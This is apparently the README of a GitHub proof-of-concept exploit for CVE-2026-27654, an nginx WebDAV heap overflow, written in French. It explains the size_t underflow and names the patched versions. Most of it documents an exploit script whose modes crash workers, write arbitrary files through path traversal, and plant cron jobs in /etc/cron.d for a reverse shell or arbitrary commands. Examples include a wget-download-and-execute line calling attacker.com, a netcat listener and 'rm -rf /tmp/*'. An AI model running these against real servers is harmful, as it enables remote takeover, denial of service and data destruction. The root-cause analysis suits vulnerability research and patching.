
Preuve de concept et analyse technique pour CVE-2026-27654, une vulnérabilité de débordement de tampon sur le tas (heap-based buffer overflow) dans le module HTTP WebDAV de NGINX, incluant l'analyse de la cause racine, la reproduction et les mesures d'atténuation.
Ce dépôt fournit un exploit proof-of-concept pour CVE-2026-27654, une vulnérabilité de débordement de tas (heap overflow) dans le ngx_http_dav_module de nginx. Le bug provient d'un underflow de size_t lors du traitement des requêtes MOVE/COPY avec des en-têtes Destination spécialement conçus et des emplacements basés sur alias.
⚠️ Avertissement : Cet outil est destiné uniquement à la recherche et aux tests de sécurité autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
CVE-2026-27654 est un débordement de tampon basé sur le tas (heap-based buffer overflow) déclenchable à distance dans le module HTTP WebDAV de NGINX, causé par un underflow entier (integer underflow) dans ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). La vulnérabilité survient lorsque la longueur de l'URI de destination est dérivée en soustrayant le préfixe d'emplacement configuré du chemin de l'en-tête Destination. Comme les deux opérandes sont de type size_t, un chemin de destination plus court fait que la soustraction s'emballe jusqu'à une valeur non signée proche du maximum.
La longueur résultant de cet emballement est ensuite utilisée comme argument de taille pour memcpy(), ce qui entraîne une écriture hors limites dans le tas qui corrompt la mémoire et fait immédiatement planter le processus worker de NGINX. Un attaquant distant non authentifié peut déclencher cette condition de manière fiable à l'aide d'une seule requête MOVE ou COPY spécialement conçue, ciblant un emplacement WebDAV mappé via alias. Bien que le processus master de NGINX relance automatiquement les workers en échec, des requêtes répétées peuvent maintenir le service dans une boucle continue de crash des workers, ce qui entraîne un déni de service (DoS) persistant.
AddressSanitizer (ASan) valide la vulnérabilité avec une erreur negative-size-param dans memcpy(), en retraçant le chemin d'exécution de ngx_http_dav_copy_move_handler() à ngx_http_core_module.c. La vulnérabilité affecte NGINX 0.5.13–1.28.2 (stable) et 1.29.0–1.29.6 (mainline) compilés avec --with-http_dav_module et configurés avec la directive alias. Le problème a été corrigé dans NGINX 1.28.3 et 1.29.7 (commit ab4b5b8, PR #1210) grâce à une validation appropriée de la longueur du chemin de destination calculé avant les opérations mémoire.
MOVE/COPY canonique qui déclenche l'underflow de size_t et fait planter le worker vulnérable.alias inscriptible)./etc/cron.d/, avec des invites interactives pour LHOST/LPORT et un rappel pour démarrer le listener.--cron-command.--check) – mode non interactif qui exécute le test de crash et affiche un verdict clair [VULNERABLE] / [NOT VULNERABLE], avec un code de sortie 0 ou 1.git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
Un menu numéroté s'affichera et vous serez invité à sélectionner un mode.
python exploit.py --target 192.168.1.100:8080 --check
Cela force le mode crash, exécute l'exploit et affiche [VULNERABLE] ou [NOT VULNERABLE] avant de se terminer avec le code 0 ou 1.
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Toutes les requêtes HTTP seront envoyées via le proxy spécifié (utile pour le débogage avec Burp).
Remarque : La plupart des options sont facultatives. Le script demandera les arguments obligatoires manquants (par ex.
--lhost/--lportpourcron-shell) s'ils ne sont pas fournis.
crashEnvoie la requête MOVE (ou COPY) spécialement conçue qui déclenche l'underflow de size_t. Le serveur fera planter le processus worker. Si le processus master est correctement configuré, il relancera un nouveau worker.
Exemple :
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
write-fileTéléverse un fichier vers un emplacement arbitraire du système de fichiers. Cela ne fonctionne que si l'emplacement DAV est adossé à un alias pointant vers un répertoire inscriptible et que le chemin Destination est conçu pour sortir de la racine DAV. À utiliser uniquement dans des environnements de laboratoire autorisés.
Exemple :
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
cron-shellPlace une tâche cron de reverse shell dans /etc/cron.d/.
Lorsque vous sélectionnez ce mode, le script vous demandera :
Il affichera ensuite la commande du listener netcat et attendra que vous appuyiez sur Entrée une fois votre listener lancé.
Exemple (pré-rempli) :
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
cron-cmdPlace une commande personnalisée (fournie de manière interactive ou via --cron-command) dans /etc/cron.d/. Cela est utile pour exécuter des commandes système arbitraires.
Exemple (interactif) :
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
Exemple (pré-rempli) :
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
Cet exemple illustre l'utilisation de cron-cmd pour exécuter une commande sur le système cible sans avoir besoin d'un listener.
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
Le script utilisera automatiquement le --cron-command fourni et ignorera l'invite interactive, ce qui le rend adapté à l'automatisation.
Pour tester ce PoC dans un environnement contrôlé, vous pouvez compiler nginx depuis les sources avec --with-http_dav_module et configurer un emplacement avec alias et dav_methods. Un exemple de configuration Docker est inclus (à venir).
Ce projet est sous licence GNU v3.0 – voir le fichier LICENSE pour plus de détails.
Les issues et les pull requests sont les bienvenues. Veuillez vous assurer que vos contributions respectent les mêmes directives d'utilisation éthique.
Rappel : Obtenez toujours une autorisation appropriée avant de tester un outil de sécurité. Restez éthique !
--proxy) – achemine toutes les requêtes via un proxy HTTP/HTTPS (par ex. Burp Suite, mitmproxy) pour le débogage ou l'inspection du trafic.--payload-file (binaire), --payload-text (texte littéral), ou utilisez le contenu de test par défaut.--destination-path, --alias-len, --escape-depth, --method, --location-prefix, et plus encore.requests n'est pas installée, le script se replie sur le module standard http.client de Python (la prise en charge du proxy est désactivée en mode de repli).| Option | Description | Exemple |
|---|
--target HOST:PORT | Instance nginx cible (défaut : 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Affiche les réponses HTTP complètes (en-têtes et corps). | -v |
--no-put | Ignore le PUT initial (suppose que le fichier de déclenchement existe déjà). Utile pour des tests répétés. | --no-put |
--location-prefix | Préfixe d'emplacement DAV (défaut : /uploads/). Doit correspondre à l'emplacement alias dans la configuration nginx. | --location-prefix /dav/ |
--remote-name | Nom du fichier source distant placé dans l'emplacement DAV (défaut : triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | Méthode DAV à utiliser pour la requête de destination (défaut : MOVE). | --method COPY |
--destination-path | Chemin d'URI de destination – utilisé pour l'arithmétique du crash ou comme chemin de fichier final pour les modes de livraison. | --destination-path /etc/cron.d/backdoor |
--alias-len | Longueur de la chaîne alias configurée (utilisée pour l'affichage de l'arithmétique du crash, défaut 13). | --alias-len 20 |
--escape-depth | Nombre de composants de chemin ../ pour sortir de la racine DAV (défaut 1). | --escape-depth 3 |
--payload-file | Fichier local à téléverser comme payload. Remplace le contenu de test par défaut. | --payload-file ./shell.php |
--payload-text | Payload textuel littéral pour le mode write-file. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Hôte de rappel du reverse shell (pour cron-shell). S'il est omis, le script invite interactivement. | --lhost 192.168.1.50 |
--lport | Port de rappel du reverse shell (pour cron-shell). | --lport 4444 |
--cron-command | Commande à exécuter via cron (pour cron-cmd). Si elle est omise, le script invite interactivement. | --cron-command "rm -rf /tmp/*" |
--wait | Secondes à attendre après la livraison cron pour que la tâche s'exécute (défaut 65). | --wait 120 |
--check | Exécute la vérification de vulnérabilité (test de crash, non interactif). Affiche VULNERABLE/NOT VULNERABLE et se termine avec le code 0/1. | --check |
--proxy PROXY_URL | URL du proxy HTTP/HTTPS (par ex. http://127.0.0.1:8080). Nécessite la bibliothèque requests. | --proxy http://127.0.0.1:8080 |